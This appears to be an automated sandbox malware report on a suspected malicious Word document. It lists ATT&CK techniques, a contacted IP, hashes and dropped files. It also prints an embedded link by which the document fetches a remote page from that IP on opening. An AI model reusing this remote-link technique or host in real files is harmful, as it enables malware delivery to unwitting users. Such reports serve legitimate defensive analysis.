Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Exploitation for Client Execution	Path Interception	Path Interception	1 Masquerading	OS Credential Dumping	1 File and Directory Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	3 Non-Application Layer Protocol	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	13 Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	5 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
20220714 DWG.doc	3%	Virustotal		Browse
20220714 DWG.doc	5%	ReversingLabs

Source	Detection	Scanner	Label
http://45.141.237.18/Glomet.html	0%	Avira URL Cloud	safe
http://45.141.237.18/icons/ubuntu-logo.png	0%	Avira URL Cloud	safe
http://45.141.237.18/Glomet.htmlyX	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
http://45.141.237.18/Glomet.html	false	Avira URL Cloud: safe	unknown
http://45.141.237.18/icons/ubuntu-logo.png	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bugs.launchpad.net/ubuntu/	72919526.htm.0.dr, 2264EBF3.htm.0.dr, Glomet[1].htm.0.dr	false		high
https://launchpad.net/bugs/1288690	72919526.htm.0.dr, 2264EBF3.htm.0.dr, Glomet[1].htm.0.dr	false		high
http://45.141.237.18/Glomet.htmlyX	~WRF{3BCD92F0-1C3B-4D0C-AD4B-E4107D6CB424}.tmp.0.dr	false	Avira URL Cloud: safe	unknown
http://httpd.apache.org/docs/2.4/mod/mod_userdir.html	72919526.htm.0.dr, 2264EBF3.htm.0.dr, Glomet[1].htm.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.141.237.18	unknown	Netherlands		62068	SPECTRAIPSpectraIPBVNL	false

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	665041
Start date and time: 15/07/202215:18:18	2022-07-15 15:18:18 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 52s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	20220714 DWG.doc
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal48.winDOC@1/19@0/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .doc Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe
Report size getting too big, too many NtQueryAttributesFile calls found.

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.28965469895696927
Encrypted:	false
SSDEEP:	96:K4LecPgew6P30Hz1UVdk2uZWEjSyEjSzH:LXJPkudoZWEeyEeT
MD5:	277267540FDF0D1B99E9188FB2F4AC22
SHA1:	B53317142E93AC66F9A19426E48E570ED7DECA35
SHA-256:	3CECE60648C77360036E21BA3E098B4C4C7A5F0927903A639C8ECCDBE824BEFA
SHA-512:	3F5480252AECB12D656BA5B2E703356706A39544F6C80F36B443435AF3265F2C7D53C3D6C974AA575541BEE64AA971BBC53113193C2B48FA58CE5F8004F49CDB
Malicious:	false
Reputation:	low
Preview:	......M.eFy...zi..+...C....?...S,...X.F...Fa.q.............................l%...K...}^.{........\|.:.e>.A.W...1...A...................................E...............................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@....p..G...s.q.Q9G..a`..qb.....p..G.........J..R.w.ps............................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{8A06192A-30A6-47D1-ADF8-054AC9F6B663}.FSD

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.6700906081929242
Encrypted:	false
SSDEEP:	192:aw4/k/1GhTMaWw/g3SW4SWTVHSWxiSWV:UjDWw/Cz4zdzUz
MD5:	4BAE75E257EBF9284CF38E95246EEB3E
SHA1:	0B2B06DA37AAC7B5691BC03FF8F8AA9B223ED9A7
SHA-256:	DC111B1F2367CB73702BB8A8C0442874CD5040755057FAF00E9375A6F4BF0F45
SHA-512:	0C817FA2DC134613FE5469F2D0D5A022FB1103E9B0EE437E92C3E2E7068A14210B6578B429B2C7CBB2DB276703CDCE8E61602D06F2653D0AA4BEF281E64D1FCE
Malicious:	false
Reputation:	low
Preview:	......M.eFy...z....B.MA..IC..4S,...X.F...Fa.q................................NG.F..H._...........8FE...A.-.}....S...................................W...............................x...x...x...x..............................................................................................................................................................................................................................................................................................................................zV.......... ..@....p..G...s.q.Q9G..a`..qb.....p..G.....5.2A....................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSF-CTBL.FSF

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	114
Entropy (8bit):	3.9499997952671753
Encrypted:	false
SSDEEP:	3:yVlgsRlz6rOMklDYl8YshlZIPqkl9Zr9MCDjl276:yPblzply+aik/cCt22
MD5:	D8043EC1520576E7091B84B683F5197A
SHA1:	E6B92143BEA481D0C167A9E388DD1C90D66150D7
SHA-256:	CF9A6483BE658434B207716DB5295BE7552743C5C5AD0CD048E38695F8F1F7F7
SHA-512:	B46094431B0CEFC0CFC48AAA52133EC78D31BCF58A20CF1FD81C734863128F8611D533AEB5284071517C2CED5449E78AA446540902BD1749661A594AB8E8F98B
Malicious:	false
Reputation:	low
Preview:	..H..@....b..q....]F.S.D.-.{.8.A.0.6.1.9.2.A.-.3.0.A.6.-.4.7.D.1.-.A.D.F.8.-.0.5.4.A.C.9.F.6.B.6.6.3.}...F.S.D..

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.28506392259952085
Encrypted:	false
SSDEEP:	48:I3TSRBRZgXYAQz7FHDzk4V9m7F0UdXz70h/Fh+rlADmNF14hxrtS1hhpGhxrtS1J:K+LRSYlzVfk+9mPS/KuM4fBSCfBSnH
MD5:	1A9D52A7A902CFF0D864A97A3819004E
SHA1:	B44AE02EC7FEF14F43EB5B3FABDA62798AE09647
SHA-256:	5EB50119ED894435E41AD0AB56853543CC35D268B0628DB09D3384EB8B3D4E3A
SHA-512:	4836997785564FA28DBB6FF580AAF58F617BB4EBF8866647B576D5301D107A5FC971A0548A03A23E06A468C11CE2386379F8D84D566F7DA10DB2A075FBA46497
Malicious:	false
Reputation:	low
Preview:	......M.eFy...z.?.}.GN.f.EqT.;S,...X.F...Fa.q................................O.mA.p^WD?{.........0....(.G.....B...A...................................E...............................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@....p..G...s.q.Q9G..a`..qb.....p..G.........J..R.w.ps............................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{5D1B35F5-C171-4718-AE70-CD91AAB04010}.FSD

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.21975720621744985
Encrypted:	false
SSDEEP:	48:I3MjUrBiZn0Zp+J+FY4jXDnijYBLEoDMs2pksl7gTairIWqyhhyhP:KMjCon062Y4Hn8Y7OOqa6
MD5:	E9A815692A1CBCAF44BF8281D4F3B925
SHA1:	F977775BAE7F7D91D8C6F70E1217056DAC7BFEF3
SHA-256:	75C4F6B1F69E30706619EE9CC3B49883210A2E328D6DA7C420898E0848D44493
SHA-512:	D8F70437C5B1292F92730A36E29CC907F8454B1AC57418D1884F11C021FB9F82354A7FDABBBC5AA35765E5957E817F410FE5B14DB9320FB0FAF7024148639760
Malicious:	false
Reputation:	low
Preview:	......M.eFy...zf......M...!\|:._S,...X.F...Fa.q............................-...9v.F.,.dr.9...........0....D...r..G3P>..................................PB...............................x...x...x...x..........+....................................................................................................................................................................................................................................................................................................................zV.......... ..@....p..G...s.q.Q9G..a`..qb.....p..G...\|.u-.u.A...W"U.............................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSF-{0E1EEE64-E8C6-4E2A-9759-63CF07FD8988}.FSF

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	114
Entropy (8bit):	3.9275861412150372
Encrypted:	false
SSDEEP:	3:yVlgsRlz6CiiQlLAiz6S+mK/+JWlglLljl276:yPblzPAhAzSZK/+YlgDZ22
MD5:	775496B0581E10BC968DDBA34AB87578
SHA1:	BFCEEFF01D75C477C41C7DEAE8DC03B5DF5B7359
SHA-256:	7898838A7D02041DADE5CEC43BA036234ED7FC67F69E7C1B3BABED15C60C03BA
SHA-512:	1DA3AE3CB57FE70078EDC6A47CF17600E5064CE40557C6766C214ADFEAC16601AED828CAB387C969CD1C82E6A33D679DB7CA9113726B279C37361A78E493DB66
Malicious:	false
Reputation:	low
Preview:	..H..@....b..q....]F.S.D.-.{.5.D.1.B.3.5.F.5.-.C.1.7.1.-.4.7.1.8.-.A.E.7.0.-.C.D.9.1.A.A.B.0.4.0.1.0.}...F.S.D..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Glomet[1].htm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	13687
Entropy (8bit):	4.949442412867092
Encrypted:	false
SSDEEP:	192:mRbRj5lc7cd8d7u55ljNjmOqQPglwy8LIspaMnyuYH3iYmG/N:mXqZc5rHxPgKy8eXmG/N
MD5:	12BEF5B54D8D40957BDB611DA449C882
SHA1:	B9F4EA9C1B97F44386485469483A0F603151BAD7
SHA-256:	05CB7A919383D449B6D9A16A0C44689FCB557982B5DF33C8C28A676F1AD88F06
SHA-512:	15570BADD82DEF69C039E6740CE8C8D40B497FA43AFA3DBC8B90859E6526DA148CA0F131AF6C2E166757DB5712805C787006209A76387451343586E265604899
Malicious:	false
Reputation:	low
IE Cache URL:	http://45.141.237.18/Glomet.html
Preview:	<!doctype html>..<html lang="en">.. .. Modified from the Debian original for Ubuntu.. Last updated: 2016-11-16.. See: https://launchpad.net/bugs/1288690.. -->.. <head>.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.. <title>Apache2 Ubuntu Default Page: It works</title>.. <style type="text/css" media="screen">.. * {.. margin: 0px 0px 0px 0px;.. padding: 0px 0px 0px 0px;.. }.... body, html {.. padding: 3px 3px 3px 3px;.... background-color: #D8DBE2;.... font-family: Verdana, sans-serif;.. font-size: 11pt;.. text-align: center;.. }.... div.main_page {.. position: relative;.. display: table;.... width: 800px;.... margin-bottom: 3px;.. margin-left: auto;.. margin-right: auto;.. padding: 0px 0px 0px 0px;.... border-width: 2px;.. border-color: #212738;.. border-style: solid;.... background-color: #FFFFFF;.... text-align: center;.. }.... div.page_header {.. height: 99px;.. widt

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2264EBF3.htm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	13687
Entropy (8bit):	4.949442412867092
Encrypted:	false
SSDEEP:	192:mRbRj5lc7cd8d7u55ljNjmOqQPglwy8LIspaMnyuYH3iYmG/N:mXqZc5rHxPgKy8eXmG/N
MD5:	12BEF5B54D8D40957BDB611DA449C882
SHA1:	B9F4EA9C1B97F44386485469483A0F603151BAD7
SHA-256:	05CB7A919383D449B6D9A16A0C44689FCB557982B5DF33C8C28A676F1AD88F06
SHA-512:	15570BADD82DEF69C039E6740CE8C8D40B497FA43AFA3DBC8B90859E6526DA148CA0F131AF6C2E166757DB5712805C787006209A76387451343586E265604899
Malicious:	false
Reputation:	low
Preview:	<!doctype html>..<html lang="en">.. .. Modified from the Debian original for Ubuntu.. Last updated: 2016-11-16.. See: https://launchpad.net/bugs/1288690.. -->.. <head>.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.. <title>Apache2 Ubuntu Default Page: It works</title>.. <style type="text/css" media="screen">.. * {.. margin: 0px 0px 0px 0px;.. padding: 0px 0px 0px 0px;.. }.... body, html {.. padding: 3px 3px 3px 3px;.... background-color: #D8DBE2;.... font-family: Verdana, sans-serif;.. font-size: 11pt;.. text-align: center;.. }.... div.main_page {.. position: relative;.. display: table;.... width: 800px;.... margin-bottom: 3px;.. margin-left: auto;.. margin-right: auto;.. padding: 0px 0px 0px 0px;.... border-width: 2px;.. border-color: #212738;.. border-style: solid;.... background-color: #FFFFFF;.... text-align: center;.. }.... div.page_header {.. height: 99px;.. widt

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6387B6EF.png

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	PNG image data, 2317 x 3433, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	892832
Entropy (8bit):	7.982421044887424
Encrypted:	false
SSDEEP:	24576:n1yg5B+jHQ89ihbudaSMcKdth3ut3w7mM4nn3:nJzQQ8U4fwdqtb33
MD5:	D03E61E58D5AD8C605BF20773F992D81
SHA1:	D6E522722F7E813A32440E5EA6EF613EC56F5385
SHA-256:	1F57DF9FA9C4A7BA05BF80FA755073C314DFAB1A3C9163810CFC36B375D9BD21
SHA-512:	3D20F5E5F3391F07CCEC26B05E1B109E43A745FBDEE991C3D658E4706ABEC4BE6A85CB37AB9887C0C22A26B2FC8E4262B72BADD22257B875ABA98F49647FBB77
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......i........G....PLTE...........................................................................................................................................................................................................................................................~~~{{{yyywww.....uuu...sss...}}}qqq...ooo...mmmiiikkk......S.................\.......X....O..u..d..r..k.....offf..`.._^]..e..QQPJJI.p..XXW....t.l..h..Y....g....S...R.b..]...S....r..q.._(&!..G<...r.Q..O...bqiS430..Y@>:....}N.wKys_u.Mp....IDATx...1......=.o...p...............................................................O...;Vm#..0:.}I....tc$..b..V....M#;....'.F....w.....0E.}...LQC_FE..x....rU...5...4BU...+..&5..",G...s..U..#j...i.....5...4BU.....\|n.P...0....".-.w.\#..I5BU........F...5.0.....P.....{....kRC..b............`....bl.vj..D.P.A..0..P..kh....v..~.V....j..D.P.a1V..kh...j... T#TE........Q#TEX.=...............Z............zJ..5..\.a1....<.].o6.....S

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\72919526.htm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	13687
Entropy (8bit):	4.949442412867092
Encrypted:	false
SSDEEP:	192:mRbRj5lc7cd8d7u55ljNjmOqQPglwy8LIspaMnyuYH3iYmG/N:mXqZc5rHxPgKy8eXmG/N
MD5:	12BEF5B54D8D40957BDB611DA449C882
SHA1:	B9F4EA9C1B97F44386485469483A0F603151BAD7
SHA-256:	05CB7A919383D449B6D9A16A0C44689FCB557982B5DF33C8C28A676F1AD88F06
SHA-512:	15570BADD82DEF69C039E6740CE8C8D40B497FA43AFA3DBC8B90859E6526DA148CA0F131AF6C2E166757DB5712805C787006209A76387451343586E265604899
Malicious:	false
Preview:	<!doctype html>..<html lang="en">.. .. Modified from the Debian original for Ubuntu.. Last updated: 2016-11-16.. See: https://launchpad.net/bugs/1288690.. -->.. <head>.. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.. <title>Apache2 Ubuntu Default Page: It works</title>.. <style type="text/css" media="screen">.. * {.. margin: 0px 0px 0px 0px;.. padding: 0px 0px 0px 0px;.. }.... body, html {.. padding: 3px 3px 3px 3px;.... background-color: #D8DBE2;.... font-family: Verdana, sans-serif;.. font-size: 11pt;.. text-align: center;.. }.... div.main_page {.. position: relative;.. display: table;.... width: 800px;.... margin-bottom: 3px;.. margin-left: auto;.. margin-right: auto;.. padding: 0px 0px 0px 0px;.... border-width: 2px;.. border-color: #212738;.. border-style: solid;.... background-color: #FFFFFF;.... text-align: center;.. }.... div.page_header {.. height: 99px;.. widt

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{3BCD92F0-1C3B-4D0C-AD4B-E4107D6CB424}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	2.0784491339555897
Encrypted:	false
SSDEEP:	24:rD/3p0w1Ljzsgi/K5BFGj+4E1AgiaLjFZ:rD/HLPDiG9iaLJ
MD5:	2C046853402E0462404371F48B7AB1FF
SHA1:	39AAC7808103B7CFBF7AFA01EF33AD4E6760A297
SHA-256:	F7A7B63631711F7E83EF64097085D975B670BE314FB9BDDFA1B451690942A068
SHA-512:	3D7282E5BD1A3C210A8C9F567955B4904E641680E824A3A1953DF8F3DF76411BC8B5C6938B094A426DD03FF08926DF30C0C21603294CED327287EDBCC9956E92
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2D922950-B6AB-4AD8-83F9-D5771B48C810}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	1.1959987669902177
Encrypted:	false
SSDEEP:	6:vlAlIcElClTfbobK/Wt56PxZUtdmP//rxZUtalR:il7MClLYKIAZfnjxZxR
MD5:	2DFA071ED21064A16E213E665D069A70
SHA1:	A07D9C011D517E6CD6D0E6E065C0DA57802E4033
SHA-256:	6803C9DF1EA2C0DEB625A798499FE824713ABAC1DFE3D48B66F219073EE05F27
SHA-512:	E3F2C304576B742AC14835D746857F6DEC839A3333452C8222D20BA8F20317B588AA5590DF3AAE5C9C091092B1D21D41DEC70A5634E9372B46C43AC9D35A67A4
Malicious:	false
Preview:	../...........................................................................L.I.N.K. .P.a.c.k.a.g.e. .".h.t.t.p.:././.4.5...1.4.1...2.3.7...1.8./.G.l.o.m.e.t...h.t.m.l.!.". .".". .\.b..... . ........................................................................................................................................................................................................................................................................................................................................................................................... ..."...$...&...(...*...,.......0...2...4...6...8...:...<...................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{45930AE1-8162-4D9A-BE35-4DB39144DF11}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{728775D7-78F7-46CF-AD44-B53E52FE2573}

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025547637721919394
Encrypted:	false
SSDEEP:	6:I3DPcp6V7BvxggLR1ubGDRXv//4tfnRujlw//+GtluJ/eRuj:I3DP463Q6vYg3J/
MD5:	D9CF35727136784379501021CAD13681
SHA1:	FFCCBE65A4DA7CA30C0CB4E5A413BE3864D86465
SHA-256:	304A44EDC72765B26B55EDA31DAC75265818EA7BD3940DBDD7C0A04CE12B1351
SHA-512:	66396973C8EF14465B1CFAEC06FB5D8EFF5AA9FAEB94B08C7F82A751CCF96474ED0AEE39ECBAD1720378C9E8E62FA1A45A231F349102A119479E8D1A81E9F369
Malicious:	false
Preview:	......M.eFy...z.?.}.GN.f.EqT.;S,...X.F...Fa.q............................b>.:..A.\.JgN3.........0....(.G.....B.......................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{925F4F9C-7A22-47FE-BE3A-D6DAAFE95668}

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.02554465484214582
Encrypted:	false
SSDEEP:	6:I3DPcKXFvxggLR/u5cRXv//4tfnRujlw//+GtluJ/eRuj:I3DPrXpTuwvYg3J/
MD5:	D282CDB8007C6CB2E0458E88AC0BACF7
SHA1:	7DE163152BE335D005B035C88964D50541CDD734
SHA-256:	576AD50B2EF8E5457593F013176FE7322084B8E1DD4A4DBA58A622733575487C
SHA-512:	7AF0396AB86AC2EDF249ABFF39DFA04DB6A9A6532C15DB0950FA86B4CB7D2E03AAF1D2A5A472555BD9937944A2841C740D098F0B83B99C7181FDA5B2612BBB96
Malicious:	false
Preview:	......M.eFy...zi..+...C....?...S,...X.F...Fa.q.............................?@...F.`.P............\|.:.e>.A.W...1.......................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\20220714 DWG.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Tue Mar 8 15:45:55 2022, mtime=Tue Mar 8 15:45:55 2022, atime=Fri Jul 15 21:18:16 2022, length=952586, window=hide
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	4.552836105737365
Encrypted:	false
SSDEEP:	12:8i6C0gXg/XAlCPCHaXBKBnB/SxXX+WbhaiOGAicvb0wBGiDtZ3YilMMEpxRljKRn:8i6/XTRKJUTtOGjeIEGiDv3qsAG77
MD5:	C93F4846BE53B1EF0E4C889AF99D7F24
SHA1:	3377009399ECB575991C4D54859B3DF62ACED5B8
SHA-256:	82A66EF21FF96CB3CCACE71D0314F8C40D8A1110941F5A755B7C813D7773EA3D
SHA-512:	FD2F15D96C69DB3B99578C514D1DDB09CA54474DA309CE0C2E5D6BFF0C440475C2A0D41D2620D1BC92A0D161A1CF72EC9E4795C1CB47B41887B2719F66CC19E9
Malicious:	false
Preview:	L..................F.... .....+..3....+..3......................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1.....hT....user.8......QK.XhT.....&=....U...............A.l.b.u.s.....z.1.....hT....Desktop.d......QK.XhT....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....j.2......TI. .202207~1.DOC..N......hT..hT.....r.....'...............2.0.2.2.0.7.1.4. .D.W.G...d.o.c.......z...............-...8...[............?J......C:\Users\..#...................\\841675\Users.user\Desktop\20220714 DWG.doc.'.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.2.0.2.2.0.7.1.4. .D.W.G...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......841675..........D_....3N...W...9...N..... .....[D_....3N...W

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	75
Entropy (8bit):	4.723353818221419
Encrypted:	false
SSDEEP:	3:bDuMJlHnXpuYVomX1XfnXpuYVov:bCupXVnpXVy
MD5:	C5D139C45669D08FCEFCA81B01DB3661
SHA1:	24A133BD2A67C7F4F3063657E04E5AF3CD9CD40D
SHA-256:	D416DD9F2CC8BB394134CB3DD3AC4D342B93236D650EBFFBAF502CCAED120694
SHA-512:	7EC339E57E3725E6372C90307777861CAC8071A0DC3D14F6559B7F9901B5B1D2539A65D1BCBD782FD5882077D1E1FFE2B2107B7A35D447533A8D285CE3AE5B78
Malicious:	false
Preview:	[folders]..Templates.LNK=0..20220714 DWG.LNK=0..[doc]..20220714 DWG.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020303
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyAI/ugXImW4eedln:vdsCkWtpIGgXvdl
MD5:	1674A1C7C99CD9FAADA789F5E2AEB335
SHA1:	26D9E81D5ED584A899A94D5EA8945A5AE3403F85
SHA-256:	BB5F0D32E0E1C8B6865FCE4AE1FC50E34CA954B89E771364A6BE6627F7C726B6
SHA-512:	B2225E8F93F06FFE32B4FDF987D5134BB06F1B0874509E1CC973FD4D30B0F1341CB1AE72FBE9C282A65794A130E2D9C8D4939B789492BC1BCC96394C5F03E02C
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........12..............22.............@32..............32.....z.......p42.....x...

C:\Users\user\Desktop\~$220714 DWG.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020303
Encrypted:	false
